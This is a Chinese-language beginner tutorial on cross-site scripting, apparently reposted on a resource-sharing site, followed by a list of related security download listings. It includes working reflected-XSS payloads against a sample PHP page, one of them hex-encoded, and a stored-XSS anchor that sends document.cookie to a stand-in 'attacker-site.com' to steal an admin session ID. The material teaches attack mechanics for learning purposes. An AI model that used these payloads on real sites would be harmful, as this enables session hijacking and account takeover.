`

XSS攻击入门

 
阅读更多

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

xss攻击可以分成两种类型:

  1. 非持久型攻击
  2. 持久型攻击

下面我们通过具体例子,了解两种类型xss攻击。

 

1.非持久型xss攻击

顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

假设有以下index.php页面:

php$name = $_GET['name'];echo "Welcome $name ";echo "Click to Download";?>

该页面显示两行信息:

  • 从URI获取 'name' 参数,并在页面显示
  • 显示跳转到一条URL的链接

这时,当攻击者给出以下URL链接:

index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:

Welcome guest<script>alert('attacked')script><br><a href='http://www.cnblogs.com/bangerlee/'>Click to Downloada>

 

除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:

index.php?name= <script> window.onload =function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} script>

当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:

复制代码
Welcome <script>window.onload =function() {var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}script><br><a href='http://www.cnblogs.com/bangerlee/'>Click to Downloada>
复制代码

用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。

 

对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

 

2.持久型xss攻击

持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

 

session背景知识

我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。

这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。

 

攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。

 

现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。

 View Code

 

另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。

 View Code

 

注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。

 

首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerleea>

 

攻击者提交了条带标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,如果 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,攻击者就可以窃取到 admin 的session-id:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

 

当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。

分享到:
评论

相关推荐

    XSS跨站脚本攻击方法初探

    XSS跨站脚本攻击方法初探,适合XSS入门学习。

    XSS学习大全

    XSS学习大全,攻防入门,轻松上手,简单易学,推荐下载

    开源bbs源码java-Software-and-System-Security:xss/sql注入/shellcode/内存管理/二进制安全

    软件安全概述+xss攻击入门 [作业:xss复现] 软件安全 三大问题 有什么安全问题,安全问题产生的原因 二进制方面 内存相关问题 有明确的机制 例子:缓冲区溢出,空指针,格式化字符串 逻辑错误问题 多种多样 Web方面 ...

    隐式马尔可夫算法识别XSS攻击.zip

    本项目是进阶教程,可以作为入门的教程。内含数据集和训练脚本

    入门级别的xss-labs靶场,有需要的自行下载搭建,搭建过程可以参考网上的资料

    入门级别的xss-labs靶场,适合新入门的学生进行练习,希望你可以从中学习到一些解题的相关技巧和关于xss漏洞的基本原理

    WebAttackDetection:该库可以检测Web应用程序攻击,例如SQL Injection和XSS

    Web Attack Detection(Web攻击检测)可以在您的网站上检测到SQL Injection和XSS攻击,并在您的网站受到攻击时向您发送电子邮件。 它可以检测到这些攻击,也可以通过文本字段以及通过URL栏检测到。 入门 请按照以下...

    跨站脚本攻击与防御技术研究

    详细介绍了跨站脚本攻击的相关技术及起源,并针对案例具体进行分析,对于xss初学者来说是非常好的入门

    ESAPI使用方法

    ESAPI入门使用例子,防XSS攻击,防SQL注入,过滤等等。

    jsoup Cookbook(中文版).chm

    jsoup Cookbook(中文版) 入门 ...输入 ...解析一个body片断 根据一个url加载Document对象 根据一个文件加载Document对象 数据抽取 使用dom方法来遍历一个Document对象 ...消除不受信任的html (来防止xss攻击)

    Web安全渗透测试基础入门篇视频.rar

    WEB安全架构分析及思路拓展wmv Web安全渗透测试基础...WEB伪造数据包进行XSS攻击演示wmv 基于S平台搭建ASP脚本解析环境wmv 基于SP脚本解析环境搭建.wmv 基于PHP脚本解析环境搭建.wmv 基于软件搭建ASP脚本解析环境.wmv

    Python基于机器学习GRU,CNN,KNN,SVM,RF的web攻击检测系统源码+项目说明.zip

    3.项目具有丰富的拓展空间,不仅可作为入门进阶,也可直接作为毕设、课程设计、大作业、初期项目立项演示等用途。 4.当然也鼓励大家基于此进行二次开发。 5.期待你能在项目中找到乐趣和灵感,也欢迎你的分享和反馈!...

    jsoup Cookbook(中文版)

    jsoup中文帮助文档 doc 版本 目录 入门 ...输入 ...3. 解析一个body片断 4. 根据一个url加载Document对象 5. 根据一个文件加载Document对象 数据抽取 6. 使用dom方法来遍历一个...14. 消除不受信任的html (来防止xss攻击)

    后端开发开发技巧总结与入门常用的技巧总结.docx

    安全性:对用户输入进行校验和转义,防止SQL注入、XSS攻击等。采用HTTPS传输数据,对敏感信息加密。 并发控制:理解并合理应用锁机制(如乐观锁、悲观锁),防止并发问题。 缓存策略:在合适的地方引入缓存机制...

    跨站脚本攻击教程

    XSS教程。有图有文解说。 通俗易懂。基础入门。简单实用。

    华为HCIA-Security培训视频教程【共33集】.rar

    目录:网盘文件永久链接 1.1-安全入门课程简介 1.2-华为防火墙模拟器使用 1.3-模拟器无法启动修复 1.4-华为防火墙基础命令...1.30-XSS 跨站脚本攻击.mp4 1.31-病毒和木马区别.mp4 1.32-木马.mp4 1.33-勒索病毒.mp4

    COMPUTER SECURITY A Hands-on Approach.rar

    COMPUTER SECURITY A Hands-...计算机网络攻防入门详细解释计算机网络攻击(sql注入,xss等经典攻击类型),软件安全攻击,操作系统漏洞攻击等,杜文良教授倾心打造,配虚拟机和实验网站 https://seedsecuritylabs.org/

    【推荐】最新超全的渗透测试学习基础教程集合(84份).zip

    18.XSS跨站脚本攻击原理及代码攻防演示(一); 19.Powershell基础入门及常见用法(一); 20.Powershell基础入门及常见用法(二); …… 共84份,太多了就不一一列举了,喜欢的可以下载学习……

    网络安全思维导图

    XSS攻击点汇总.png nmap.jpg pentest_method.jpg powershell语法.png web渗透.jpg web应用测试.jpg xml安全汇总.png 渗透流程.jpg 进阶渗透.png 社会工程学.jpg 网站入侵图.jpg 渗透测试流程.jpg 网络...

    pkav课件

    pkav,公开的一些课件 SQL注射,XSS等一些常见的攻击手法。让你快速掌握网络安全的入门指路

    网络安全技术课程.pdf

    适合入门学习网络安全人群,总共有258页,含实战。 目录: 第1章 信息收集 第2章 SQL注入攻击 第3章 xss跨站脚本攻击 第4章 后台弱口令 第5章 命令执行 第6章 文件上传漏洞 第7章 结语

Global site tag (gtag.js) - Google Analytics